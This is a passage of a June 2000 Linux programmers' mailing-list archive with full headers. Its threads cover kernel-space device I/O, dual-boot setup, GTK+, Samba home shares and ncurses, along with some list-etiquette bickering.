X-Archive-Number: 200006/132 Hio, Any idea how to do file i/o in kernel? Typically, i am opening a device file (/dev/ttyS0) with sys_open(). Now i do sys_read/write on the returned fd. But the problem is, if i try to do it again after some time (uh... i come back to do read/write) both these return with 'Bad file Descriptor' error. If i try to do sys_open() again (ok, i close the former fd), it returns 0. I have scanned thru all the relevent source of the kernel, but find no clue as to why this happens. Any idea? What is the better way to do device i/o above the driver? If a kernel module wants to do some device i/o using underlying driver, is the above method ok, or i need to do something else? 'using 2.2.13k on Celeron (Mendocino) 400 MHz here. TIA, Sharad. From linux-india-programmers-owner@lists.linux-india.org Thu Jun 15 23:20:40 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 81E573808D for ; Thu, 15 Jun 2000 23:20:36 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id XAA14244 for linux-india-programmers@lists.linux-india.org; Thu, 15 Jun 2000 23:19:45 -0700 Date: Thu, 15 Jun 2000 23:19:45 -0700 From: Arun Sharma To: linux-india-programmers@lists.linux-india.org Subject: Re: file/device i/o in the kernel Message-ID: <20000615231945.A14237@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: ; from sharad.joshi@wipro.com on Fri, Jun 16, 2000 at 11:13:59AM +0530 X-Archive-Number: 200006/133 On Fri, Jun 16, 2000 at 11:13:59AM +0530, Sharad Joshi wrote: > Hio, > > Any idea how to do file i/o in kernel? Typically, i am opening a device > file (/dev/ttyS0) with sys_open(). Now i do sys_read/write on the returned > fd. But the problem is, if i try to do it again after some time (uh... i > come back to do read/write) both these return with 'Bad file Descriptor' > error. If i try to do sys_open() again (ok, i close the former fd), it > returns 0. I have scanned thru all the relevent source of the kernel, but > find no clue as to why this happens. Any idea? Are you sure that the "current" process was the same at open() and read() ? If not, that is your problem. > What is the better way to do device i/o above the driver? If a kernel > module wants to do some device i/o using underlying driver, is the above > method ok, or i need to do something else? Not use file descriptors and do IO at a lower level ? struct file or whatever it is that linux implements. -Arun From linux-india-programmers-owner@lists.linux-india.org Thu Jun 15 23:30:17 2000 Received: from ns.hyd.rampnet.com (unknown [208.247.183.2]) by www.aunet.org (Postfix) with ESMTP id 17971380A7 for ; Thu, 15 Jun 2000 23:30:09 -0700 (PDT) Received: from ns.hyd.rampnet.com (ascend-2.hyd.rampnet.com [208.247.183.56]) by ns.hyd.rampnet.com (8.8.7/8.8.5) with SMTP id LAA21733 for ; Fri, 16 Jun 2000 11:46:54 +0530 Message-ID: <001901bfd75c$6ea91100$38b7f7d0@hyd.rampnet.com> From: "Ramanujan" To: "linux" Subject: Date: Fri, 16 Jun 2000 12:00:58 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-Archive-Number: 200006/134 Hi, I am sorry for posting this mail to this forum, though i am aware there is another forum for it. I would be happy if i can get response for this query. Please advice on the way (other than floppy boot) for a system conisting of Linux on one HDD and Windows on another HDD. Thanks Ramanujan From linux-india-programmers-owner@lists.linux-india.org Thu Jun 15 23:48:32 2000 Received: from brahma.roc.com (unknown [202.54.67.214]) by www.aunet.org (Postfix) with ESMTP id 5A08A38143 for ; Thu, 15 Jun 2000 23:45:06 -0700 (PDT) Received: from praveenb.roc.com ([172.16.1.182]) by brahma.roc.com (8.8.5/8.8.5) with SMTP id MAA10639 for ; Fri, 16 Jun 2000 12:19:57 +0530 (IST) Message-ID: <003a01bfd7c7$4cc66f40$b60110ac@roc.com> Reply-To: "Praveen" From: "Praveen" To: "linux" Subject: Re: file/device i/o in the kernel Date: Fri, 16 Jun 2000 12:15:54 -0700 Organization: Roc MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-Archive-Number: 200006/135 Hi joshi.. First of all kernel is not a process. It is not a good way to invoke open system call sitting inside a kernel.These system calls are ment for user process to perform logical file operation.If u invoke it in kernel, u r going backwards against standards of kernel. One more thing is that,what ever file descriptor open system call returns is bound to user process. Krenel is not a process, so fd doesn't not make any sense in kernel space. The reason why u r getting bad file descriptor error, because what ever argument u pass to these system calls, kernel assumes that they are in user space . Since u have invoked the same system call sitting in kernel, all the arguments are in kernel space,naturally u will get that error. So what u have to do is to force the kernel, to make it point to kernel data segment before invoking the system call. U can make use of set_fs and get_fs . Any how this not a good way at all. .. Best way, export the functions defined in tty_io.c and access them directly. Regards Praveen ----- Original Message ----- From: "Sharad Joshi" To: Sent: Thursday, June 15, 2000 10:43 PM Subject: [LIP] file/device i/o in the kernel > Hio, > > Any idea how to do file i/o in kernel? Typically, i am opening a device > file (/dev/ttyS0) with sys_open(). Now i do sys_read/write on the returned > fd. But the problem is, if i try to do it again after some time (uh... i > come back to do read/write) both these return with 'Bad file Descriptor' > error. If i try to do sys_open() again (ok, i close the former fd), it > returns 0. I have scanned thru all the relevent source of the kernel, but > find no clue as to why this happens. Any idea? > > What is the better way to do device i/o above the driver? If a kernel > module wants to do some device i/o using underlying driver, is the above > method ok, or i need to do something else? > > 'using 2.2.13k on Celeron (Mendocino) 400 MHz here. > > TIA, > Sharad. > > > ----------------------------------------------------------------------- > For information on this and other Linux India mailing lists check out > http://lists.linux-india.org/ > From linux-india-programmers-owner@lists.linux-india.org Thu Jun 15 23:50:49 2000 Received: from agni.wipinfo.soft.net (agni.wipinfo.soft.net [164.164.6.20]) by www.aunet.org (Postfix) with ESMTP id 08DB53814F for ; Thu, 15 Jun 2000 23:50:39 -0700 (PDT) Received: from vayu.wipinfo.soft.net (vayu [192.168.200.170]) by agni.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id MAA10087 for ; Fri, 16 Jun 2000 12:17:01 +0500 (GMT) Received: from sarovar.mail.wipro.com ([192.168.2.18]) by vayu.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id MAA15861 for ; Fri, 16 Jun 2000 12:19:19 +0500 (GMT) Received: from yaksha.wipinfo.soft.net ([192.168.2.78]) by sarovar.mail.wipro.com (Netscape Messaging Server 3.6) with ESMTP id AAA6846; Fri, 16 Jun 2000 12:20:32 +0530 Date: Fri, 16 Jun 2000 12:29:34 +0530 (IST) From: "Sharad Joshi" X-Sender: sharadj@yaksha.wipinfo.soft.net Reply-To: Sharad Joshi To: Arun Sharma Cc: linux-india-programmers@lists.linux-india.org Subject: Re: file/device i/o in the kernel In-Reply-To: <20000615231945.A14237@sharmas.dhs.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/136 + > error. If i try to do sys_open() again (ok, i close the former fd), it + > returns 0. I have scanned thru all the relevent source of the kernel, but + > find no clue as to why this happens. Any idea? + + Are you sure that the "current" process was the same at open() and + read() ? If not, that is your problem. I guessed that, but how to find that 'current' thing was same at the time of both calls. And how to 'save' the fd, that i got, across rescheds. I am not a serious kernel hacker :) and so have no idea about that. BTW, even if the 'kernel process' was rescheduled, file fds and all that must have been stored, or am i wrong? + > What is the better way to do device i/o above the driver? If a kernel + > module wants to do some device i/o using underlying driver, is the above + > method ok, or i need to do something else? + + Not use file descriptors and do IO at a lower level ? struct file or + whatever it is that linux implements. Yeah, but that means meddling with BIG data structs. I thought there was some cleaner way other than relaying on sys_... calls. Sharad. From linux-india-programmers-owner@lists.linux-india.org Fri Jun 16 00:06:17 2000 Received: from bhim.ic (unknown [61.1.254.250]) by www.aunet.org (Postfix) with ESMTP id 751DA380DB for ; Fri, 16 Jun 2000 00:06:08 -0700 (PDT) Received: from localhost (iclabs@localhost) by bhim.ic (8.8.7/8.8.7) with ESMTP id MAA03021 for ; Fri, 16 Jun 2000 12:49:27 +0400 X-Authentication-Warning: bhim.ic: iclabs owned process doing -bs Date: Fri, 16 Jun 2000 12:49:25 +0400 (SCT) From: "Pramode C.E" X-Sender: iclabs@bhim.ic To: Linux India Programming Subject: Re: URL from C++ In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/137 On Thu, 15 Jun 2000, Madhu M. Kurup wrote: > Folks, > > I was hoping someone will be able to give me some info on how I > could programmatically extract the contents of a URL if you are coding in > C++ on Linux. I want to do something on the lines of > Try 'libwww'. Docs may be under /usr/doc/. Better still, use Python/Perl. From linux-india-programmers-owner@lists.linux-india.org Fri Jun 16 01:16:26 2000 Received: from agni.wipinfo.soft.net (agni.wipinfo.soft.net [164.164.6.20]) by www.aunet.org (Postfix) with ESMTP id 0F89538169 for ; Fri, 16 Jun 2000 01:15:25 -0700 (PDT) Received: from vayu.wipinfo.soft.net (vayu [192.168.200.170]) by agni.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id NAA14711 for ; Fri, 16 Jun 2000 13:41:41 +0500 (GMT) Received: from sarovar.mail.wipro.com ([192.168.2.18]) by vayu.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id NAA22846 for ; Fri, 16 Jun 2000 13:44:00 +0500 (GMT) Received: from yaksha.wipinfo.soft.net ([192.168.2.78]) by sarovar.mail.wipro.com (Netscape Messaging Server 3.6) with ESMTP id AAA3DAD; Fri, 16 Jun 2000 13:45:27 +0530 Date: Fri, 16 Jun 2000 13:54:29 +0530 (IST) From: "Sharad Joshi" X-Sender: sharadj@yaksha.wipinfo.soft.net Reply-To: Sharad Joshi To: Praveen Cc: linux Subject: Re: file/device i/o in the kernel In-Reply-To: <003a01bfd7c7$4cc66f40$b60110ac@roc.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/138 Hello Prav, + So what u have to do is to force the kernel, to make it point to kernel + data segment before invoking the system call. U can make use of set_fs and + get_fs . Yeah, i've already done that. + + Any how this not a good way at all. .. + Best way, export the functions defined in tty_io.c and access them + directly. Well, i just thought there would be some better way, other than what i was doing above. I have seen into serial.c and tty_io.c and i wanted to use those, but i was warned against doing that in this very list :) Sharad. From linux-india-programmers-owner@lists.linux-india.org Fri Jun 16 01:22:20 2000 Received: from shardagate.mahindrabt.com (unknown [206.102.1.162]) by www.aunet.org (Postfix) with ESMTP id 23F7638170 for ; Fri, 16 Jun 2000 01:16:12 -0700 (PDT) Received: (from uucp@localhost) by shardagate.mahindrabt.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id NAA04008 for ; Fri, 16 Jun 2000 13:46:08 +0530 Received: from UNKNOWN(10.4.0.15), claiming to be "intranet.pune.mahindrabt.com" via SMTP by shardagate, id smtpdBIwnEQ; Fri Jun 16 13:46:06 2000 Received: from mahindrabt.com ([10.5.2.167]) by intranet.pune.mahindrabt.com (8.9.3/8.9.3) with ESMTP id NAA19295 for ; Fri, 16 Jun 2000 13:44:43 +0530 Message-ID: <3949E2A3.6D758E5A@mahindrabt.com> Date: Fri, 16 Jun 2000 13:47:39 +0530 From: Rajeev Jha X-Mailer: Mozilla 4.72 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: [win on one HDD, linux on another] Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/139 move to linux-india-help. Ramanujan wrote: > > Hi, > > I am sorry for posting this mail to this forum, though i am aware there is > another forum for it. I would be happy if i can get response for this query. > > Please advice on the way (other than floppy boot) for a system conisting of > Linux on one HDD and Windows on another HDD. > > Thanks > > Ramanujan > -- ---- Surds Are Irrational Rajeev Jha Email: rajeevj@mahindrabt.com Tring Tring : +91(20)5424301 Xtn: 1126 web: http://www.rajeevjha.com ----------------------------------------------------------------------- From linux-india-programmers-owner@lists.linux-india.org Fri Jun 16 05:08:41 2000 Received: from ewey.excite.com (ewey-rwcmta.excite.com [198.3.99.191]) by www.aunet.org (Postfix) with ESMTP id C3D5D38535 for ; Fri, 16 Jun 2000 05:05:36 -0700 (PDT) Received: from neon.excite.com ([199.172.153.87]) by ewey.excite.com (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP id <20000616120536.CNWA11750.ewey.excite.com@neon.excite.com> for ; Fri, 16 Jun 2000 05:05:36 -0700 Message-ID: <29993596.961157136094.JavaMail.imail@neon.excite.com> Date: Fri, 16 Jun 2000 05:05:36 -0700 (PDT) From: bharat shetty To: linux-india-programmers@lists.linux-india.org Subject: Re: file/device i/o in the kernel Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: Excite Inbox X-Sender-Ip: 203.197.176.90 X-Archive-Number: 200006/140 Sharad, As someone wrote already the kernel is not a process - in that respect it can be thought of as code that run asynchronously when some events occur(like interrputs,....). And it does not have a pid. Maybe ( I am not very sure :( ) what is happening is that the file is opened in one process and is accessed properly - till it runs, when this process is put to sleep, the (now) current process would not know about this project. Also kernel runs in the context of the "current" process. I would say that, unless you are more than familiar with the kernel you should not attempt such things. Also Unix/Linux or any OS provides a std. i/f only to the user level. The changes made to kernel itself can never be predicted. So every time a change is made to the kernel you may have change your code, maybe with dangerous conssequences ( though very rarely, I hope ) bharat _______________________________________________________ Get 100% FREE Internet Access powered by Excite Visit http://freelane.excite.com/freeisp From linux-india-programmers-owner@lists.linux-india.org Fri Jun 16 05:14:38 2000 Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210]) by www.aunet.org (Postfix) with ESMTP id BAACD3852B for ; Fri, 16 Jun 2000 05:14:04 -0700 (PDT) Received: from hpuxsrv.india.hp.com (hpuxsrv.india.hp.com [15.10.45.132]) by atlrel1.hp.com (Postfix) with ESMTP id B0EC5E3CF for ; Fri, 16 Jun 2000 08:14:02 -0400 (EDT) Received: from india.hp.com (nt4175.india.hp.com [15.10.41.75]) by hpuxsrv.india.hp.com with ESMTP (8.8.6 (PHNE_17135)/8.8.6 SMKit7.02) id RAA28678 for ; Fri, 16 Jun 2000 17:43:25 +0530 (IST) Message-ID: <394A19E4.9202EFD5@india.hp.com> Date: Fri, 16 Jun 2000 17:43:24 +0530 From: "Satheesh Kumar. N.K" Organization: Hewlett-Packard, India Software Operations X-Mailer: Mozilla 4.04 [en] (WinNT; I) MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/141 Sorry for very delayed reply- however, its good if this mail can be of some use :-) Allessandro Rubini's "Writing Linux Device Drivers" gives an example "snull" n/w i/f driver which does not require any special h/w. Well, its nothing more than a loopback driver. Maybe, you can explore it further. --Satheesh Ramanujan wrote: > Hi, > > I have a small clarification, when writing socket programs, do we need to > have the Etherent interface present on the system. That is i am trying to > simulate the client and the server on the same machine. that is the connect > call from the client will give the loopback address 127.0.0.1. > > I have used AF_INET, SOCK_STREAM. I tried to connect to the day time server > waiting on port 13. > > When i listed with netstat it was not showing any active TCP connections, so > i presumed that it needs to have an interface. Is it right? > > Best Wishes > Ramanujan > > ----------------------------------------------------------------------- > The LIP mailing list archives are available at: > http://lists.linux-india.org/cgi-bin/wilma/linux-india-programmers From linux-india-programmers-owner@lists.linux-india.org Fri Jun 16 08:25:02 2000 Received: from pn2.vsnl.net.in (pn2.vsnl.net.in [202.54.10.17]) by www.aunet.org (Postfix) with ESMTP id 3D6E5381F9 for ; Fri, 16 Jun 2000 03:30:15 -0700 (PDT) Received: from localhost (IDENT:root@[203.197.81.156]) by pn2.vsnl.net.in (8.9.0/8.9.0) with SMTP id PAA22985; Fri, 16 Jun 2000 15:57:46 +0530 (IST) From: "Shaunak S. Agarkhedkar" To: Ramanujan Date: Fri, 16 Jun 2000 16:02:30 +0530 X-Mailer: KMail [version 1.0.29] Content-Type: text/plain Cc: linux-india-programmers@lists.linux-india.org MIME-Version: 1.0 Message-Id: <00061616050206.00453@localhost> Content-Transfer-Encoding: 8bit X-Archive-Number: 200006/142 Hey man, you'll never get your answer in this list.... These guys (most) are extremely obnoxiously impolite and they are snobs............... try plug-mail@plug.org.in go to www.plug.org.in and register by sending a mail to majordomo@plug.org.in saying subscribe plug-mail in the body.......... Schon -- #!/usr/bin/perl print "lusers use perl......."; print "use LISP and PROLOG .... the real man's languages"; From linux-india-programmers-owner@lists.linux-india.org Fri Jun 16 10:12:59 2000 Received: from netscape.com (h-205-217-237-47.netscape.com [205.217.237.47]) by www.aunet.org (Postfix) with ESMTP id 42DD938099 for ; Fri, 16 Jun 2000 10:12:55 -0700 (PDT) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.10.0/8.10.0) with ESMTP id e5GH8hH11339 for ; Fri, 16 Jun 2000 10:08:43 -0700 (PDT) Received: from netscape.com ([207.1.145.44]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id FW9BTI00.F73 for ; Fri, 16 Jun 2000 10:12:54 -0700 Message-ID: <394A6016.3E447189@netscape.com> Date: Fri, 16 Jun 2000 10:12:54 -0700 From: Sudhakar Chandra Organization: I didn't do it, nobody saw me do it, no one can prove a thing X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.15 i686) X-Accept-Language: en, fr MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/143 Ramanujan proclaimed: > I am sorry for posting this mail to this forum, though i am aware > there is another forum for it. I would be happy if i can get > response for this query. Your reasoning (you actually don't give a reason) for posting this technical help related query to this programmers list is not convincing. If you don't take the effort to post a question to the right forum, how do you expect people to take the effort to reply to your question? > Please advice on the way (other than floppy boot) for a system conisting of > Linux on one HDD and Windows on another HDD. Please post this question to the linux-india-help mailing list. Thaths -- "All right, his story checks out. Marge, would you love me more if I were President? 'Cause I'll do it if it'll make you happy" -- Homer J. Simpson Sudhakar C13n http://www.aunet.org/thaths/ Lead Indentured Slave From linux-india-programmers-owner@lists.linux-india.org Fri Jun 16 10:14:47 2000 Received: from netscape.com (h-205-217-237-47.netscape.com [205.217.237.47]) by www.aunet.org (Postfix) with ESMTP id 08F11380E3 for ; Fri, 16 Jun 2000 10:14:46 -0700 (PDT) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.10.0/8.10.0) with ESMTP id e5GHAYH11677 for ; Fri, 16 Jun 2000 10:10:34 -0700 (PDT) Received: from netscape.com ([207.1.145.44]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id FW9BWL00.Q6Q for ; Fri, 16 Jun 2000 10:14:45 -0700 Message-ID: <394A6085.E320501A@netscape.com> Date: Fri, 16 Jun 2000 10:14:45 -0700 From: Sudhakar Chandra Organization: I didn't do it, nobody saw me do it, no one can prove a thing X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.15 i686) X-Accept-Language: en, fr MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/144 "Shaunak S. Agarkhedkar" proclaimed: > you'll never get your answer in this list.... That is correct. > These guys (most) are extremely obnoxiously impolite and they are > snobs............... And why are we (you included. You are in the list, aren't you?) impolite obnoxious snobs? Because we refuse to answer people who want something for nothing? Thaths -- "All right, his story checks out. Marge, would you love me more if I were President? 'Cause I'll do it if it'll make you happy" -- Homer J. Simpson Sudhakar C13n http://www.aunet.org/thaths/ Lead Indentured Slave From linux-india-programmers-owner@lists.linux-india.org Fri Jun 16 11:01:49 2000 Received: from giasbg01.vsnl.net.in (giasbg01.vsnl.net.in [202.54.12.17]) by www.aunet.org (Postfix) with ESMTP id E64003805B for ; Fri, 16 Jun 2000 11:01:40 -0700 (PDT) Received: from localhost.localdomain (IDENT:root@[203.197.172.171]) by giasbg01.vsnl.net.in (8.9.3/8.9.3) with ESMTP id XAA12099 for ; Fri, 16 Jun 2000 23:35:13 +0500 (GMT+0500) Received: (from kala@localhost) by localhost.localdomain (8.9.3/8.9.3) id XAA05552 for linux-india-programmers@lists.linux-india.org; Fri, 16 Jun 2000 23:31:34 +0530 Date: Fri, 16 Jun 2000 23:31:34 +0530 From: Babu Kalakrishnan To: linux-india-programmers@lists.linux-india.org Subject: Re: [off-topic for LIP] Message-ID: <20000616233134.A5514@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <394A6085.E320501A@netscape.com>; from thaths@netscape.com on Fri, Jun 16, 2000 at 10:14:45AM -0700 X-Archive-Number: 200006/145 Sudhakar Chandra typed: > "Shaunak S. Agarkhedkar" proclaimed: > > These guys (most) are extremely obnoxiously impolite and they are > > snobs............... > > And why are we (you included. You are in the list, aren't you?) impolite > obnoxious snobs? Because we refuse to answer people who want something for > nothing? > Good one Thaths - he deserved it more that the guy who posted the original question.. Kala From linux-india-programmers-owner@lists.linux-india.org Fri Jun 16 11:57:05 2000 Received: from md4.vsnl.net.in (md4.vsnl.net.in [202.54.6.60]) by www.aunet.org (Postfix) with ESMTP id 0A07B382B4 for ; Fri, 16 Jun 2000 06:43:40 -0700 (PDT) Received: from mani ([61.1.214.148]) by md4.vsnl.net.in (8.9.3/8.9.3) with SMTP id TAA24283 for ; Fri, 16 Jun 2000 19:18:58 +0530 (IST) Message-ID: <001101bfd791$cfba8340$94d6013d@mani> From: "Mani Murugesan" To: Subject: GTK+ Date: Fri, 16 Jun 2000 18:22:59 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-Archive-Number: 200006/146 Hello, I have started programming using GTK+ for GUI apps in Linux. Are there tools similiar or superior to GTK+? I want to do RAD Business applications. (equavalent to VB in Win). But I want to use only C/C++. (I think Python has been recommended on this list for similiar purposes). I had bought the book 'Developing Linux Applications with GTK+ and GDK, Eric Harlow'. This book is good and similiar to the on-line tutorial. I had also started playing around with Glade, a front end interface tool for GTK+. Anyone here using GTK+ regularly? Any replies will boost my morale in developing Linux applications. Mani. M From linux-india-programmers-owner@lists.linux-india.org Fri Jun 16 16:38:08 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id B2EE638062 for ; Fri, 16 Jun 2000 16:38:01 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id QAA16061 for linux-india-programmers@lists.linux-india.org; Fri, 16 Jun 2000 16:37:10 -0700 Date: Fri, 16 Jun 2000 16:37:10 -0700 From: Arun Sharma To: linux-india-programmers@lists.linux-india.org Subject: Re: GTK+ Message-ID: <20000616163710.A16045@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <001101bfd791$cfba8340$94d6013d@mani>; from mmanim@vsnl.com on Fri, Jun 16, 2000 at 06:22:59PM +0530 X-Archive-Number: 200006/147 On Fri, Jun 16, 2000 at 06:22:59PM +0530, Mani Murugesan wrote: > Hello, > > I have started programming using GTK+ for GUI apps in Linux. Are there tools > similiar or superior to GTK+? I want to do RAD Business applications. > (equavalent to VB in Win). But I want to use only C/C++. (I think Python has > been recommended on this list for similiar purposes). Yes, try pyqt/pykde and pygtk/pygnome and use the one you like. -Arun From linux-india-programmers-owner@lists.linux-india.org Sun Jun 18 00:45:12 2000 Received: from web618.mail.yahoo.com (web618.mail.yahoo.com [216.115.104.87]) by www.aunet.org (Postfix) with SMTP id 40208380A3 for ; Sun, 18 Jun 2000 00:45:07 -0700 (PDT) Message-ID: <20000618074506.3154.qmail@web618.mail.yahoo.com> Received: from [203.197.59.162] by web618.mail.yahoo.com; Sun, 18 Jun 2000 00:45:06 PDT Date: Sun, 18 Jun 2000 00:45:06 -0700 (PDT) From: Vicky Plaha Subject: Re: COMMERCIAL: Linux Sys Admin/Web Master wanted... To: linux-india-programmers@lists.linux-india.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200006/148 Hi all! I am running Samba on my Linux server to support some Win9x clients (who doesn't?) However, although i am able to log in from the Win clients, i am unable to browse the HOMES or directories with the username on my linux box. Is there some config option i've missed. Just to repeat, i am able to log in and browse the netlogon directory, cdrom and floppy shares. Even my printers don't give any problem. However i am not able to get into home directories where it gives me a dialog and prompts for a password... Vicky __________________________________________________ Do You Yahoo!? Send instant messages with Yahoo! Messenger. http://im.yahoo.com/ From linux-india-programmers-owner@lists.linux-india.org Sun Jun 18 00:47:00 2000 Received: from web611.mail.yahoo.com (web611.mail.yahoo.com [216.115.104.95]) by www.aunet.org (Postfix) with SMTP id 518A3380A3 for ; Sun, 18 Jun 2000 00:46:58 -0700 (PDT) Message-ID: <20000618074657.16841.qmail@web611.mail.yahoo.com> Received: from [203.197.59.162] by web611.mail.yahoo.com; Sun, 18 Jun 2000 00:46:57 PDT Date: Sun, 18 Jun 2000 00:46:57 -0700 (PDT) From: Vicky Plaha Subject: Cannot browse samba home directories.... To: linux-india-programmers@lists.linux-india.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200006/149 Hi all! I am running Samba on my Linux server to support some Win9x clients (who doesn't?) However, although i am able to log in from the Win clients, i am unable to browse the HOMES or directories with the username on my linux box. Is there some config option i've missed. Just to repeat, i am able to log in and browse the netlogon directory, cdrom and floppy shares. Even my printers don't give any problem. However i am not able to get into home directories where it gives me a dialog and prompts for a password... Vicky > > __________________________________________________ > Do You Yahoo!? > Send instant messages with Yahoo! Messenger. > http://im.yahoo.com/ > > ----------------------------------------------------------------------- > LIP is all for free speech. But it was created for > a purpose - to help > people discuss technical programming related issues > about Linux. If > your messages are counterproductive to this purpose, > your privileges to > submit messages can and will be revoked. __________________________________________________ Do You Yahoo!? Send instant messages with Yahoo! Messenger. http://im.yahoo.com/ From linux-india-programmers-owner@lists.linux-india.org Sun Jun 18 21:45:02 2000 Received: from hotmail.com (f271.law4.hotmail.com [216.33.148.149]) by www.aunet.org (Postfix) with SMTP id B5B143804E for ; Sun, 18 Jun 2000 21:44:56 -0700 (PDT) Received: (qmail 37884 invoked by uid 0); 19 Jun 2000 04:44:40 -0000 Message-ID: <20000619044440.37883.qmail@hotmail.com> Received: from 203.197.131.36 by www.hotmail.com with HTTP; Sun, 18 Jun 2000 21:44:39 PDT X-Originating-IP: [203.197.131.36] From: "Adityan Murthy" To: linux-india-programmers@lists.linux-india.org Subject: TC++ and GNU C++ Date: Mon, 19 Jun 2000 10:14:39 IST Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Archive-Number: 200006/150 Hi all, Is there any header file similar to conio.h in GNU C++? Is there at least something similar to clrscr and getch commands? Thanks in advance, Adityan ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From linux-india-programmers-owner@lists.linux-india.org Sun Jun 18 22:00:25 2000 Received: from bhim.ic (unknown [61.1.254.254]) by www.aunet.org (Postfix) with ESMTP id 124953804E for ; Sun, 18 Jun 2000 22:00:16 -0700 (PDT) Received: from localhost (iclabs@localhost) by bhim.ic (8.8.7/8.8.7) with ESMTP id KAA01558 for ; Mon, 19 Jun 2000 10:43:47 +0400 X-Authentication-Warning: bhim.ic: iclabs owned process doing -bs Date: Mon, 19 Jun 2000 10:43:45 +0400 (SCT) From: "Pramode C.E" X-Sender: iclabs@bhim.ic To: linux-india-programmers@lists.linux-india.org Subject: Re: TC++ and GNU C++ In-Reply-To: <20000619044440.37883.qmail@hotmail.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/151 On Mon, 19 Jun 2000, Adityan Murthy wrote: > Hi all, > > Is there any header file similar to conio.h in GNU C++? Is there at least > something similar to clrscr and getch commands? man ncurses From linux-india-programmers-owner@lists.linux-india.org Mon Jun 19 02:24:28 2000 Received: from ausmtp01.au.ibm.com (ausmtp01.au.ibm.COM [202.135.136.97]) by www.aunet.org (Postfix) with ESMTP id B29D138139 for ; Mon, 19 Jun 2000 02:24:19 -0700 (PDT) Received: from f03n07e.au.ibm.com by ausmtp01.au.ibm.com (IBM AP 1.0) with ESMTP id TAA40688 for ; Mon, 19 Jun 2000 19:18:27 +1000 From: jsojan@in.ibm.com Received: from d73mta05.au.ibm.com (f06n05s [9.185.166.67]) by f03n07e.au.ibm.com (8.8.8m3/NCO v4.91) with SMTP id TAA25748 for ; Mon, 19 Jun 2000 19:24:02 +1000 Received: by d73mta05.au.ibm.com(Lotus SMTP MTA v4.6.5 (863.2 5-20-1999)) id CA256903.0033A1D6 ; Mon, 19 Jun 2000 19:23:57 +1000 X-Lotus-FromDomain: IBMIN@IBMAU To: linux-india-programmers@lists.linux-india.org Message-ID: Date: Mon, 19 Jun 2000 14:50:00 +0530 Subject: Memory initialization Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Archive-Number: 200006/152 Hi, I'm trying to figure out how the memory in the system is detected and maintained. Where is the code that detects the amount of memory, and initialises the data structures for the "buddy system"? Any pointers/links to the exact procedure will be great. Thanks, Sojan. From linux-india-programmers-owner@lists.linux-india.org Mon Jun 19 03:42:04 2000 Received: from md4.vsnl.net.in (md4.vsnl.net.in [202.54.6.60]) by www.aunet.org (Postfix) with ESMTP id 2D0503811A for ; Mon, 19 Jun 2000 03:41:53 -0700 (PDT) Received: from localhost.localdomain ([61.1.228.113]) by md4.vsnl.net.in (8.9.3/8.9.3) with ESMTP id QAA17205 for ; Mon, 19 Jun 2000 16:16:48 +0530 (IST) Date: Mon, 19 Jun 2000 14:33:37 +0530 From: Atul 